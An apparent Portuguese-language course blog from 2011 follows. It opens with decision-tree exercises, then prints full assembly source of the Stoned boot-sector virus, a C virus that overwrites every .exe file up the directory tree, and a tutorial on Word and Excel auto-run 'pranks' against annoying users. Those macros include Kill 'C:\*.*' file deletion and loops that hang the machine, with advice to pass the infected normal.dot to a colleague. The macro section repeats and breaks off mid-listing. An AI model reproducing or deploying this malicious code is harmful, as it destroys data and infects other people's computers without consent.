Usuários online

quarta-feira, 23 de novembro de 2011

Sistemas de Apoio à Decisão - Aula 23/11/2011 (Árvore de Decisão - Exercícios)

Árvore de Decisão - Exercícios
Monte a árvore de decisão de cada exercício abaixo e indique qual a melhor opção. 

1. Vendedor ambulante de camisas esportivas
Um vendedor ambulante está considerando a possibilidade de vender camisas esportivas.

As camisas seriam compradas por $ 10 e vendidas por $ 35. Como a qualidade do material é
baixa estima-se que haja 30% de perda para o vendedor ambulante.

Independente da quantidade adquirida, seus custos de transporte e manutenção serão de $ 1000 por dia.



As camisas não vendidas terão um valor residual de $ 2.

A demanda diária pelas camisas depende das condições de vigilância nas ruas: se a vigilância for ostensiva,  o vendedor somente consegue vender 50 camisas, vendendo 4 vezes mais se a vigilância das ruas for fraca. Caso a vigilância for média, o vendedor consegue colocar 120 camisas.

As camisas só podem ser compradas em lotes pré - determinados: 80, 160, 240 ou 320 unidades. A experiência tem mostrado que há 40% de chance de que a vigilância seja fraca contra 30% de vigilância ostensiva. Em consequência ela é média 30% das vezes.


Calcule:
  1. Qual a quantidade de camisas que o vendedor ambulante deverá comprar para maximizar o seu lucro esperado?
  2. Disponha os resultados sob forma de matriz de receitas.

Resposta:
Custo: $ 10
Preço: $ 35
Perda: 30 %
Custos Fixos: $ 1.000 por dia

Camisas não vendidas, Preço: $ 2

Vigilância Ostensiva: 50 camisas, com probabilidade 0,3
Vigilância Média: 120 camisas, com probabilidade 0,3
Vigilância Fraca: 200 camisas, com probabilidade 0,4

Alternativas de compra:
A: Lote de 80 camisas
B: Lote de 160 camisas
C: Lote de 240 camisas
D: Lote de 320 camisas

1) Quantidade de camisas que maximiza o lucro esperado.

Alternativas:
A. compra de 80 camisas
B. compra de 160 camisas
C. compra de 240 camisas
D. compra de 320 camisas

Alternativa A:
Custo da alternativa: 80 x 10,00 + 1000,00 = 1800,00
Camisas vendáveis: 80 x 0,7 = 56

Receitas:
  • para vigilância ostensiva: 50 x 35,00 + 6 x 2,00 = 1762,00
  • para vigilância média: 56 x 35,00 = 1960,00
  • para vigilância fraca: 56 x 35,00 = 1960,00

Receita líquida:
  • para vigilância ostensiva (o): 1762.00 - 1800.00 = -38.00
  • para vigilância média (m): 160.00
  • para vigilância fraca (f): 160.00

Calcula-se as receitas líquidas das outras alternativas de forma análoga.

A árvore de decisão apresenta-se assim:

As receitas líquidas esperadas são as seguintes:
E(A) = 0,3 x (-38) + 0,3 x 160 + 0,4 x 160 = 100.60
E(B) = 706.20
E(C) = 836.60
E(D) = 571.00

Desta forma, a melhor alternativa é a C, que consiste na compra de 240 camisas.

2) Matriz de decisão.

Pode-se, também, apresentar o problema sob a forma de matriz de decisão:

A partir destes dados pode-se, por exemplo, calcular o valor de uma informação adicional.

Vejamos o caso de uma informação perfeita:
Até quanto o vendedor ambulante poderá pagar a um hipotético policial corrupto para que lhe informe qual o tipo de vigilância que irá ocorrer com certeza?

Deve-se verificar, neste caso, qual a melhor opção quando se sabe o que vai ocorrer:
  • Caso a vigilância seja ostensiva a melhor alternativa é a A, ou seja, o prejuízo será de $ 38,00.
  • Caso a vigilância seja média a melhor alternativa é a B, com lucro de 1320.
  • Caso a vigilância seja fraca a melhor opção é a alternativa D, com lucro de 2848.
Assim o valor esperado da receita líquida, com informação perfeita, é de:

V(p) = -38 x 0,3 + 1320 x 0,3 + 2848 x 0,4 = 1523,80

Ora, o valor esperado sem esta informação era de $836,60, correspondente à alternativa C.

Assim o vendedor deve estar disposto a pagar ao policial no máximo:

1523,80 - 836,60 = 687,20.


2. Investir ou não em uma nova fábrica
Suponha que há dúvidas entre investir ou não em uma nova fábrica, pois não se sabe sobre a demanda pelos seus produtos.

Há a possibilidade de se iniciar com a construção de uma planta grande, com investimentos da ordem de $40 milhões, o ganho é maior desde o início, caso a demanda seja média ou alta, mas os custos fixos inviabilizam o investimento se a demanda for baixa.

Também é possível iniciar com uma planta pequena com metade do investimento, mas perde-se oportunidade de ganhos iniciais se a demanda for alta. Caso a demanda seja alta, e permaneça assim, pode-se expandir a planta no terceiro ano com investimentos adicionais de $25 milhõesem valores da data zero.

Observando comportamento da demanda e após análise de mercado, estabeleceu-se probabilidades para as demandas alta, média e baixa.

Os fluxos a seguir mostram esses cenários e a árvore de decisão apresenta as várias possibilidades.






3. Fibras mágicas
Você é o analista de investimentos da Corporação Kappa (CK).

O grupo de desenvolvimento acaba de criar tecnologia para transmitir energia por fibras ótico-infra-plus-red.

O grupo de marketing propõe que a CK construa alguns protótipos e faça testes de mercado das fibras.

O grupo de planejamento, incluindo representantes das áreas de produção, marketing e engenharia, recomendou que a empresa prosseguisse com a fase de teste e desenvolvimento.

Estima-se que essa fase preliminar durará um ano e custará $ 100 milhões. Além do mais, o grupo acredita que há uma probabilidade de 65% de que os testes de produção e marketing sejam bem sucedidos.

A venda destas fibras, porém, está sujeita a:
  • Incertezas quanto à demanda por energia elétrica no futuro
  • Incertezas quanto ao preço futuro da transmissão de energia
  • Incertezas quanto à participação da CK no mercado de fibras
  • Incertezas quanto ao aparecimento de outras formas de geração e transmissão de energia
Se os testes iniciais de mercado forem bem sucedidos, a CK poderá investir em terrenos, construção e equipamentos ao final do primeiro ano. Essa fase custará $ 1,5 bilhão. A produção se dará nos próximos cinco anos. O fluxo de caixa líquido por ano é de $ 900 milhões. A TMA é de 15% ao ano

Se o teste for malsucedido o fluxo de caixa líquido do investimento será de -630 milhões por ano.

As decisões a serem tomadas são as seguintes:
  • Deve-se testar e desenvolver a fibra?
  • Deve-se investir na produção em escala?

terça-feira, 22 de novembro de 2011

Segurança da Informação - 1º TVC - 08/11/2011 (Correção e Resultado)

Correção e Resultado do 1º TVC de Segurança da Informação do dia 08/11/2011

As notas foram muito boas. Questões com respostas erradas estão destacadas em vermelho. O link para o arquivo da prova ainda está ativo, mas o gabarito online já está desativado.


Código do Vírus STONED

O código abaixo é de um antigo vírus chamado STONED, que congelava a máquina hospedeira de tempos em tempos. O programa está em assembly e é necessário um programa como MASM ou CASM para compilá-lo, mas você não vai querer executar um vírus em sua máquina, não é?

TITLE   STONBOOT        1-4-80  [5-12-90]

PAGE 27,132

;*****************************************************************************
;
;         *** NOT FOR GENERAL DISTRIBUTION ***     The Stoned Virus
;
; This file is for the purpose of virus study only! It should not be passed
;  around among the general public. It will be very useful for learning
;  how viruses work and propagate. But anybody with access to an assembler
;  can turn it into a working virus and anybody with a bit of assembly coding
;  experience can turn it into a far more malevolent program than it already
;  is. Keep this code in reasonable hands!
;
; This is a boot sector virus, and an extremely tiny one. It occupies only a
;  single sector. On a diskette, it resides in the boot sector, and on a hard
;  disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
;  diskette by copying the real boot sector to side 1, track 0, sector 3. This
;  is the last sector used by the directory, and is usually not used. If the
;  directory ever does expand into this area, then the real boot sector will be
;  trashed, and the diskette will no longer be bootable. Once the boot sector
;  is copied to the directory area, this code goes into the boot sector space
;  at side 0, track 0, sector 1. The system is then transferred to the diskette
;  and the diskette contains an activated virus. Once this diskette is used to
;  boot up a system, it will become resident and infect other diskettes it
;  sees. If the system contains a hard drive, it too will become infected.
;
; This virus does not contain any time bomb, but it can cause loss of data by
;  wrecking a directory here or there.
;*****************************************************************************


LF      EQU     0AH
CR      EQU     0DH

XSEG    SEGMENT AT      07C0h
        ORG     5
NEWSEG  LABEL   FAR
XSEG    ENDS

CODE    SEGMENT
        ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
        ORG     0


;*****************************************************************************
; Execution begins here as a boot record. This means that its location and
;  CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
;  a change in CS:IP so that CS is 07C0. The following two JMPs, and the
;  segment definition of XSEG above are best not tampered with.
;*****************************************************************************


        JMP  FAR PTR NEWSEG     ;This is exactly 5 bytes long. Don't change it

;The above line will jump to here, with a CS of 07C0 and an IP of 5

        JMP     JPBOOT                  ;Jump here at boot up time


;*****************************************************************************
; The following offsets:
;    D_TYPE
;    O_13_O
;    O_13_S
;    J_AD_O
;    J_AD_S
;    BT_ADD
;  will be used to access their corresponding variables throughout the code.
;  They will vary in different parts of the code, since the code relocates
;  itself and the values in the segment registers will change. The actual
;  variables are defined with a leading underscore, and should not be used. As
;  the segment registers, and the offsets used to access them, change in the
;  code, the offsets will be redefined with "=" operators. At each point, the
;  particular segment register override needed to access the variables will be
;  given.
;
; In this area, the variables should be accessed with the CS: segment override.
;******************************************************************************

D_TYPE  =       $               ;The type of disk we are booting from
_D_TYPE DB      0

OLD_13  EQU     $
O_13_O  =       $               ;Old INT 13 vector offset
_O_13_O DW      ?

O_13_S  =       $               ;Old INT 13 vector segment
_O_13_S DW      ?

JMP_ADR EQU     $
J_AD_O  =       $               ;Offset of the jump to relocated code
_J_AD_O DW      OFFSET HI_JMP

J_AD_S  =       $               ;Segment of the jump to the relocated code
_J_AD_S DW      ?


BT_ADD  =       $               ;Fixed address 0:7C00. Jump addr to boot sector
_BT_ADD DW      7C00h           ;Boot address segment
        DW      0000h           ;Boot address offset

 

;**********************************************************
;       The INT 13H vector gets hooked to here
;**********************************************************

NEW_13: PUSH    DS
        PUSH    AX
        CMP     AH,2
        JB      REAL13                  ;Restore regs & do real INT 13H

        CMP     AH,4
        JNB     REAL13                  ;Restore regs & do real INT 13H

;*****************************************************************
;    We only get here for service 2 or 3 - Disk read or write
;*****************************************************************

        OR      DL,DL
        JNZ     REAL13                  ;Restore regs & do real INT 13H

;*****************************************************************
;     And we only get here if it's happening to drive A:
;*****************************************************************

        XOR     AX,AX
        MOV     DS,AX
        MOV     AL,DS:43FH
        TEST    AL,1                    ;Check to see if drive motor is on
        JNZ     REAL13                  ;Restore regs & do real INT 13H

;******************************************************************
;           We only get here if the drive motor is on.
;******************************************************************

        CALL    INFECT                  ;Try to infect the disk

;******************************************************************
;                Restore regs & do real INT 13H
;******************************************************************

REAL13: POP     AX
        POP     DS
        JMP     DWORD PTR       CS:OLD_13

 

;**************************************************************
;***          See if we can infect the disk                 ***
;**************************************************************

INFECT  PROC    NEAR

        PUSH    BX
        PUSH    CX
        PUSH    DX
        PUSH    ES
        PUSH    SI
        PUSH    DI
        MOV     SI,4            ;We'll try up to 4 times to read it

;***************************************************************
;            Loop to try reading disk sector
;***************************************************************

RDLOOP: MOV     AX,201H         ;Read one sector...
        PUSH    CS
        POP     ES
        MOV     BX,200H         ;...into a space at the end of the code
        XOR     CX,CX
        MOV     DX,CX           ;Side 0, drive A
        INC     CX              ;Track 0, sector 1
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do the old INT 13

        JNB     RD_OK           ;Disk read was OK

        XOR     AX,AX
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Reset disk

        DEC     SI              ;Bump the counter
        JNZ     RDLOOP          ;Loop to try reading disk sector
        JMP     SHORT   QUIT    ;Close up and return if all 4 tries failed

        NOP

;******************************************************************************
; Here if disk read was OK. We got the boot sector. But is it already infected?
;  Find out by comparing the first 4 bytes of the boot sector to the first 4
;  bytes of this code. If they don't match exactly, infect the diskette.
;******************************************************************************

RD_OK:  XOR     SI,SI
        MOV     DI,200H
        CLD
        PUSH    CS
        POP     DS
        LODSW
        CMP     AX,[DI]
        JNZ     HIDEIT                  ;Hide floppy boot sector in directory

        LODSW
        CMP     AX,[DI+2]
        JZ      QUIT                    ;Close up and return

;************************************************************
;       Infect - Hide floppy boot sector in directory
;************************************************************

HIDEIT: MOV     AX,301H         ;Write 1 sector
        MOV     BX,200H         ;From the space at the end of this code
        MOV     CL,3            ;To sector 3
        MOV     DH,1            ;Side 1
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do the old INT 14
        JB      QUIT            ;Close up and return if failed

;******************************************************************
; If write was sucessful, write this code to the boot sector area
;******************************************************************

        MOV     AX,301H         ;Write 1 sector ...
        XOR     BX,BX           ;...of this very code...
        MOV     CL,1            ;...to sector 1...
        XOR     DX,DX           ;...of Side 0, drive A
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do an old INT 13

;  ***NOTE*** no test has been done for a sucessful write.

;***************************************************************
;                    Close up and return
;***************************************************************

QUIT:   POP     DI
        POP     SI
        POP     ES
        POP     DX
        POP     CX
        POP     BX
        RET

INFECT  ENDP

 

 

;****************************************************************
;***             Jump here at boot up time
;****************************************************************

 


;*****************************************************************************
; Redefine the variable offsets. The code here executes in the memory area
;  used by the normal boot sector. The variable offsets have an assembled
;  value of the order 7Cxx. Access them here through the DS: segment override
;*****************************************************************************


D_TYPE  =       07C00h + OFFSET _D_TYPE
O_13_O  =       07C00h + OFFSET _O_13_O
O_13_S  =       07C00h + OFFSET _O_13_S
J_AD_O  =       07C00h + OFFSET _J_AD_O
J_AD_S  =       07C00h + OFFSET _J_AD_S
BT_ADD  =       07C00h + OFFSET _BT_ADD

 

JPBOOT: XOR     AX,AX
        MOV     DS,AX           ;DS = 0

;*********************************************************
;                Set up a usable stack
;*********************************************************

        CLI
        MOV     SS,AX           ;SS = 0
        MOV     SP,OFFSET 7C00H ;Position stack at 0000:7C00
        STI

;*********************************************************
;        Capture the INT 13 vector (BIOS disk I/O)
;*********************************************************

        MOV     AX,DS:4CH       ;Offset for old INT 13 vector
        MOV     DS:O_13_O,AX    ;Save the offset
        MOV     AX,DS:4EH       ;Segment for old INT 13 vector
        MOV     DS:O_13_S,AX    ;Save the segment

;*****************************************************************************
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
;  stealing an odd number of K would result in an odd number shown available
;  when a CHKDSK is run. This might be too obvious. Or the programmer may have
;  had other plans for the memory.
;*****************************************************************************

        MOV     AX,DS:413H      ;BIOS' internal count of available memory
        DEC     AX
        DEC     AX              ;Drop it by 2K ...
        MOV     DS:413H,AX      ;...and store it (steal it!!)

;*********************************************************
;        Find the segment of the stolen memory
;*********************************************************

        MOV     CL,6
        SHL     AX,CL
        MOV     ES,AX

;*********************************************************
;        Use the segment of the stolen memory area
;*********************************************************

        MOV     DS:J_AD_S,AX    ;Becomes part of a JMP address
        MOV     AX,OFFSET NEW_13
        MOV     DS:4CH,AX       ;Offset for new INT 13
        MOV     DS:4EH,ES       ;Segment for new INT 13

;****************************************************************
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
;****************************************************************

        MOV     CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
        PUSH    CS
        POP     DS              ;DS = CS
        XOR     SI,SI
        MOV     DI,SI           ;All offsets of block move areas are 0
        CLD
        REPZ    MOVSB           ;Copy each byte of code to the top of memory
        JMP     DWORD PTR       CS:JMP_ADR ;JMP to the transferred code...

 

;**************************************************************
;    ...and we'll jump right here, to the transferred code
;**************************************************************

 

;****************************************************************************
; Redefine variable offsets again. This code executes at the top of memory,
;  and so the exact value of the segment registers depends on how much memory
;  is installed. The variable offsets have an assembled value of the order of
;  00xx. They are accessed using the CS: segment override
;****************************************************************************

D_TYPE  =       OFFSET _D_TYPE
O_13_O  =       OFFSET _O_13_O
O_13_S  =       OFFSET _O_13_S
J_AD_O  =       OFFSET _J_AD_O
J_AD_S  =       OFFSET _J_AD_S
BT_ADD  =       OFFSET _BT_ADD


HI_JMP: MOV     AX,0
        INT     13H             ;Reset disk system

;**********************************************************************
;  This will read one sector into 0000:7C00 (the boot sector address)
;**********************************************************************

        XOR     AX,AX
        MOV     ES,AX
        MOV     AX,201H                 ;Read one sector
        MOV     BX,OFFSET 7C00H         ;To boot sector area: 0000:7C00
        CMP     BYTE PTR CS:D_TYPE,0    ;Booting from diskette or hard drive?

        JZ      DISKET                  ;If booting from a diskette

;******************************************************
;            Booting from a hard drive
;******************************************************

        MOV     CX,7            ;Track 0, sector 7
        MOV     DX,80H          ;Hard drive, side 0
        INT     13H             ;Go get it

;  ***NOTE** There was no check as to wether or not the read was sucessful

        JMP     SHORT   BOOTUP  ;Go run the real boot sector we've installed

        NOP

;******************************************************
;            Booting from a diskette
;******************************************************

DISKET: MOV     CX,3            ;Track 0, sector 3
        MOV     DX,100H         ;A drive, side 1 (last sector of the directory)
        INT     13H             ;Go get it
        JB      BOOTUP          ;If read error, run it anyway.(???) (A prank?)

;****************************************************************
;Wether or not we print the "Stoned" message depends on the value
; of a byte in the internal clock time -- a fairly random event.
;****************************************************************

        TEST    BYTE PTR ES:46CH,7      ;Test a bit in the clock time
        JNZ     GETHDB                  ;Get Hard drive boot sector

;**************************************************************
;                      Print the message
;**************************************************************

        MOV     SI,OFFSET S_MSG ;Address of the "stoned message"
        PUSH    CS
        POP     DS

;**************************************************************
;               Loop to print individual characters
;**************************************************************

PRINT1: LODSB
        OR      AL,AL           ;A 00 byte means quit the loop
        JZ      GETHDB          ;Get Hard drive boot sector, then

;**************************************************************
;         Not done looping. Print another character
;**************************************************************

        MOV     AH,0EH
        MOV     BH,0
        INT     10H
        JMP     SHORT   PRINT1  ;Print a character on screen


;**************************************************************
;               Get Hard drive boot sector
;**************************************************************

GETHDB: PUSH    CS
        POP     ES
        MOV     AX,201H         ;Read one sector...
        MOV     BX,200H         ;...to the buffer following this code...
        MOV     CL,1            ;...from sector 1...
        MOV     DX,80H          ;...side 0, of the hard drive
        INT     13H
        JB      BOOTUP          ;If error, assume no hard drive
                                ; So go run the floppy boot sector

;***************************************************************************
; If no read error, then there really must be a hard drive. Infect it. The
;  following code uses the same trick above where the first 4 bytes of the
;  boot sector are compared to the first 4 bytes of this code. If they don't
;  match exactly, then this hard drive isn't infected.
;***************************************************************************

        PUSH    CS
        POP     DS
        MOV     SI,200H
        MOV     DI,0
        LODSW
        CMP     AX,[DI]
        JNZ     HIDEHD                  ;Hide real boot sector in hard drive

        LODSW
        CMP     AX,[DI+2]
        JNZ     HIDEHD                  ;Hide real boot sector in hard drive

;**************************************************************
;                Go run the real boot sector
;**************************************************************

BOOTUP: MOV     BYTE PTR CS:D_TYPE,0
        JMP     DWORD PTR       CS:BT_ADD

;**************************************************************
;         Infect - Hide real boot sector in hard drive
;**************************************************************

HIDEHD: MOV     BYTE PTR CS:D_TYPE,2    ;Mark this as a hard drive infection
        MOV     AX,301H                 ;Write i sector...
        MOV     BX,200H         ;...from the buffer following this code...
        MOV     CX,7            ;...to track 0, sector 7...
        MOV     DX,80H          ;...side 0, of the hard drive...
        INT     13H             ;Do it
        JB      BOOTUP          ;Go run the real boot sector if failed

;**************************************************
; Here if the boot sector got written successfully
;***************************************************

        PUSH    CS
        POP     DS
        PUSH    CS
        POP     ES
        MOV     SI,3BEH         ;Offset of disk partition table in the buffer
        MOV     DI,1BEH         ;Copy it to the same offset in this code
        MOV     CX,242H         ;Strange. Only need to move 42H bytes. This
                                ; won't hurt, and will overwrite the copy of
                                ; the boot sector, maybe giving a bit more
                                ; concealment.
        REPZ    MOVSB           ;Move them
        MOV     AX,301H         ;Write 1 sector...
        XOR     BX,BX           ;...of this code...
        INC     CL              ;...into sector 1
        INT     13H

; ***NOTE*** no check for a sucessful write

        JMP     BOOTUP          ;Now run the real boot sector

S_MSG   DB      7,'Your PC is now Stoned!',7,CR,LF
        DB      LF

;*************************************************************************
; Just garbage. In one version, this contained an extension of the above
;  string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
;*************************************************************************

        DB      0,4CH,45H,47H,41H
        DB      4CH,49H,53H,45H,67H
        DB      2,4,68H,2,68H
        DB      2,0BH,5,67H,2

END_BYT EQU     $               ;Used to determine the size of the code. It
                                ; must be less than 1BE, or this code is too
                                ; large to be used to infect hard disks. From
                                ; offset 1BE and above, the hard disk partition
                                ; table will be copied, and anything placed
                                ; there will get clobbered.

        CODE    ENDS

END

Código-fonte em C/C++ de um Vírus que infecta arquivos executáveis

LEIA COM ATENÇÃO

Nem preciso dizer que esse código é perigoso. Sugiro que ele seja executado (caso você consiga compilá-lo) em uma máquina virtual. Caso você insista em executá-lo em sua máquina, saiba que poderá perder a instalação do Windows e tornar sua máquina inoperante. Não me responsabilizo por quaisquer danos que você cause à sua máquina executando quaisquer códigos tenha neste blog.


#include<stdio.h>
#include<dir.h>
#include<dos.h>

void main(int argc,char *argv[])  {
   int bytes,i,done;
   FILE *virus,*host;
   struct ffblk *f;
   char buffer[512];


   do {
      done=findfirst("*.exe",f,0);
      while(!done) {
         virus=fopen(argv[0],"rb");//abrir o vírus em modo de leitura
         host=fopen(f->ff_name,"rb+");//abra o arquivo host no r / w modo
         for(;fread(buffer,512,1,virus)==1;)
            fwrite(buffer,512,1,host);
         fclose(host);
         fseek(virus,0,0);//pontos para o início do vírus
         printf("infecting %s",f->ff_name);
         done=findnext(f);
      }
   } while(!chdir(".."));
   printf("Infecção completa...\n");
}

segunda-feira, 21 de novembro de 2011

Segurança da Informação - Aula 21/11/2011 (Vírus e Vírus de Macro)

Vírus

Falemos um pouco mais de vírus, mas dessa vez poderemos pegar alguns códigos e analisá-los. Você pode fazer download dos vírus aqui (mas precisa se inscrever para conseguir fazer o download). Os vírus estarão inóquos em formato TXT.

Para melhor conhecer cada tipo de vírus (ao menos os mais conhecidos), você pode visitar http://pt.kioskea.net/contents/virus/ e escolher o vírus que quiser. Depois, veja os sintomas de infecção e os possíveis arquivos que ele infecta em sua máquina. É uma boa maneira de perceber quando sua máquina apresenta sintomas de infecção por um tipo de vírus específico.


Vírus de Macro


Ainda hoje existe muita gente que so é capaz de abrir o Word, editar, negritar, sublinhar e mandar para impressora, muitos, milhares so sabem mexer no básico mesmo. Eles nem imaginam o que tem por traz deste riquíssimo processador de texto. Esta matéria tem como objetivo fazer desde pequenas até grandes sacanagens com usuários pentelhos. O Word possui um arquivo chamado "normal.dot" onde estão todas as configuracões padrão do word. Se por algum motivo este arquivo for deletado o Word cria automaticamente quando for inicializado.   Obs.: Software/versão abrangido: Microsoft Word , versões 6.0 e 7.0             
Níveis de sacanagem
Nível 1..... Apenas uma brincadeira
Nível 2..... Apenas uma brincadeira de mau gosto
Nível 3..... não é mais brincadeira.
Primeiro voce precisa criar uma macro... siga os passos:
Entre no Word, feche a janela de documento, não deixe nenhum documento aberto(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro "AutoExec"(obrigatório) esta macro é inicializada toda vez que o Word for iniciado, depois clique em 'Criar', delete as duas linhas que tiver la (Sub MAIN e End Sub) e cole a rotina que tem logo mais abaixo.
Existem outras formas/meios de criar uma macro, mas esta é mais simples.

Nível 1
O nível 1 serve para voce se mostrar, falando que entende do Word melhor do que ninguem. Cada vez que o usuario inicia o Word recebera uma mensagem... de alerta ou qualquer outro coisa que sair da sua mente. veja abaixo.
Sub MAIN
MsgBox "Voce ‚ um pentelho! Eu nÆo irei prosseguir com o sistema", "Microsoft Word", 5
MsgBox "Usu rio Pirata Detectado", "FATAL ERROR", 16
MsgBox "JAMES BOND 007 ", "007 na estrada Digital", 64
End Sub

Nível 2
É para deixar o usuario irritadissimo. no corpo da macro cole este texto abaixo:
Sub MAIN
ArquivoNovoPadrão
Inserir "James"
ArquivoNovoPadrão
Inserir "Bond"
ArquivoNovoPadrão
Inserir "007"
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
End Sub

Nível 3
Bom este nível é pura sacanagem,com ele um simples clicar* do mouse, e tudo desaparece! isto mesmo "del *.*" ou apenas os documentos, voce é quem sabe.
Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub
Lembre-se de que estes macros, sao gravado no arquivo default do word, ou seja no 'normal.dot' se este arquivo for deletado, o Word cria automaticamente na inicializacao,entao se voce for fazer estas sacanagens ai acima, proteja este arquivo, com o comando 'attrib +r'.
Detalhes:
Existe uma forma de iniciar o Word, sem q inicialize a macro 'AutoExec' mas não irei falar, descubra voce mesmo. A macro do word é uma ferramenta riquissima, procure fuçar. Voce pode fazer estas no seu proprio computador(so cuide!), salvando sempre no arq."normal.dot" depois copie apenas este arquivo para aquele seu colega/amigo pentelho e saie de perto, para não explodir em voce. Não me responsabilizo por qualquer ato.

†† VIRUS DE MACRO ††

--------------------------------------------------------------------------------
Existe um texto muito famoso de virus de macro que todos conhecem !!. Mas este é diferrente por explicar técnicas muito melhores de se fazer um virus de macro !! Os virus de macro devem ser feitos no Excel pois as macros ficam guardadas no documento e não no NORMAL.DOT. O que é NORMAL.DOT ? Simples, o NORMAL.DOT é aberto toda vez que você cria um novo documento. Infelizmente No Word as macros ficam gravadas no NORMAL.DOT e por isso eu não recomendo criar Virus pelo Word. Vamos começar:
Versão 6 e 7 do Excel.
Clique em Inserir / Macro / Módulo.
Digite Sub AutoExec
A partir de agora você vai digitar o código de seu virus. Você pode digitar os seguintes comandos.
Código
Descrição
Dim ValorDeRetorno, I
ValorDeRetorno = Shell("CALC.EXE", 1)
AppActivate ValorDeRetorno
Executa a calculadora do Windows (você pode alterar por Winver.exe,iexplore.exe, etc...)
Workbooks.Add
Cria um novo documento
Application.Run "AutoExec"
Fica repetindo a macro sem parrar
Dim Closystem
Clo = #11:59:59 PM#
Time = Clo
Zera o relógio do Windows
MsgBox"mensagem"
Exibe uma caixa de dialogo com a "mensagem"
Beep
Emite um sinal sonoro

Após escrever o Código, digite End Sub

Agora vamos ver um exemplo de virus já feitos.
Sub AutoExec()
Beep
Beep
Beep
MsgBox "Oi... hehe... Acho que você se ferrou !!"
Aplication.Run "AutoExec"
End Sub

O VIRUS ACIMA EXIBE UMA MENSAGEM QUE NUNCA SAI DA TELA !!

--------------------------------------------------------------------------------

O virus abaixo abre infinitas Sobre o Win95 travando o Windows !!!
Sub AutoExec()
Beep
MsgBox Erro ao ler o arquivo. Ele pode estar corrompido.
Application.Run command
End Sub
Sub command()
Dim ValorDeRetorno, I
ValorDeRetorno = Shell(WINVER.EXE, 1)
AppActivate ValorDeRetorno
Application.Run command
End Sub

O virus abaixo exibe uma mensagem que nunca sai da tela !
Sub AutoExec()
Beep
Beep
Beep
MsgBox Oi... Acho que você se ferrou !!! hehe...
Application.Run AutoExec
End Sub

O virus abaixo vai consumindo os recursos aos poucos sem a pessoa perceber (hehe...)
Sub AutoExec()
Beep
MsgBox O documento esta corrompido
Beep
Beep
Beep
Beep
Application.Run command
End Sub
Sub command()
Workbooks.Add
Application.Run command
End Sub

Esse trava a maquina !!!
Sub AutoExec()
Dim ValorDeRetorno, I
ValorDeRetorno = Shell(CALC.EXE, 1)
AppActivate ValorDeRetorno
Application.Run AutoExec
End Sub

--------------------------------------------------------------------------------


--------------------------------------------------------------------------------

ATENÇÃO:
Ao copiar os códigos para a área de transferência, aparecerá espaços entre as linhas, por isso ao colar o código no Excel, tire os espaços entre as linhas

ATENÇÃO
Para a versão 8.0 do Excel, altere o Sub AutoExec() por Sub Auto_Open

Lembre-se de que estes macros, são gravado no arquivo default do word, ou seja no 'normal.dot' se este arquivo for deletado, o Word cria automaticamente na inicialização, então se você for fazer estas sacanagens ai acima, proteja este arquivo, com o comando 'attrib +r'.

               
undefined <>   
               
undefined <>   
More... <>         
               
undefined         
[Close] <>          
Ainda hoje existe muita gente que so é capaz de abrir o Word, editar, negritar, sublinhar e mandar para impressora, muitos, milhares so sabem mexer no básico mesmo. Eles nem imaginam o que tem por traz deste riquíssimo processador de texto. Esta matéria tem como objetivo fazer desde pequenas até grandes sacanagens com usuários pentelhos. O Word possui um arquivo chamado "normal.dot" onde estão todas as configuracões padrão do word. Se por algum motivo este arquivo for deletado o Word cria automaticamente quando for inicializado.   Obs.: Software/versão abrangido: Microsoft Word , versões 6.0 e 7.0             
Níveis de sacanagem
Nível 1..... Apenas uma brincadeira
Nível 2..... Apenas uma brincadeira de mau gosto
Nível 3..... não é mais brincadeira.
Primeiro voce precisa criar uma macro... siga os passos:
Entre no Word, feche a janela de documento, não deixe nenhum documento aberto(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro "AutoExec"(obrigatório) esta macro é inicializada toda vez que o Word for iniciado, depois clique em 'Criar', delete as duas linhas que tiver la (Sub MAIN e End Sub) e cole a rotina que tem logo mais abaixo.
Existem outras formas/meios de criar uma macro, mas esta é mais simples.

Nível 1
O nível 1 serve para voce se mostrar, falando que entende do Word melhor do que ninguem. Cada vez que o usuario inicia o Word recebera uma mensagem... de alerta ou qualquer outro coisa que sair da sua mente. veja abaixo.
Sub MAIN
MsgBox "Voce ‚ um pentelho! Eu nÆo irei prosseguir com o sistema", "Microsoft Word", 5
MsgBox "Usu rio Pirata Detectado", "FATAL ERROR", 16
MsgBox "JAMES BOND 007 ", "007 na estrada Digital", 64
End Sub

Nível 2
É para deixar o usuario irritadissimo. no corpo da macro cole este texto abaixo:
Sub MAIN
ArquivoNovoPadrão
Inserir "James"
ArquivoNovoPadrão
Inserir "Bond"
ArquivoNovoPadrão
Inserir "007"
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
